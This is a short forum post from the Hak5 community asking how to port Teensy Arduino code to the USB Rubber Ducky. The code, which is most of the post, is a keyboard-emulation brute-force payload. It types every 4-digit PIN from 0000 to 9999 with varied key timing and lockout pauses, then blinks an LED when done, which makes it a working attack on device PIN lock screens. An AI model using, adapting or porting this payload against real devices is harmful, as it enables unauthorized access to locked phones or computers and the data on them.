Hak 5 ish Posted August 30, 2016 Share Posted August 30, 2016 i cant find a fake counter for the ducky and this code is for the teensy, anyway to alter the code to get it to work on the ducky? Tried using this but the payload wouldn't work for me. thanks in advance! void setup() { pinMode(ledPin, OUTPUT); // declare LED as output delay(10000); } void loop(){ keyboard_modifier_keys = 0; if (counter <= 9999){ delay(8000); digitalWrite(ledPin, LOW); delay(5500); digitalWrite(ledPin, HIGH); sprintf(pin, "%04d", fakecounter); //sending first digitKeyboard.press(pin[0]); delay(450); Keyboard.release(pin[0]); delay(420); //sending second digitKeyboard.press(pin[1]); delay(398); Keyboard.release(pin[1]); delay(510); //sending third digitKeyboard.press(pin[2]); delay(421); Keyboard.release(pin[2]); delay(423); //sending forth digitKeyboard.press(pin[3]); delay(430); Keyboard.release(pin[3]); delay(525); //sending enterKeyboard.press(KEY_ENTER); delay(305); Keyboard.release(KEY_ENTER); } //reached 4 digit PIN max value if (counter > 9999){ for (int blinkies = 0; blinkies < 8; blinkies++) { digitalWrite(ledPin, HIGH); delay(20); digitalWrite(ledPin, LOW); delay(200); } delay(6000); } ++counter; fakecounter = counter; } Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.